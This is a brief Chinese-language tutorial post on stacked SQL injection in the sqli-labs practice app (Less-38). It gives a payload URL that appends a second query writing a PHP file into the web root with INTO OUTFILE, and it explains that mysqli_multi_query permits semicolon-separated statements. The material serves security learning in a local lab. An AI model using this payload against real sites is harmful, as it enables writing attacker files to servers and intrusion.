sql注入 - 堆疊注入

5、堆疊(多語句)注入

http://localhost/sqli-labs-master/Less-38/?id=-1'; select "<?php phpinfo();?>" into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\aaaaaaaaqq.php" ;--

在php連接mysql注入中用到了musqli_multi_query這個函數,這個函數類似於 mysqli_query這個函數,只不過區別就是musqli_multi_query這個函數可以堆疊注入, 比如說select 1,2,3;select 2,3,4; 我們在注入時可以通過;來破壞SQL語句,以達到我們 想要的目的

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章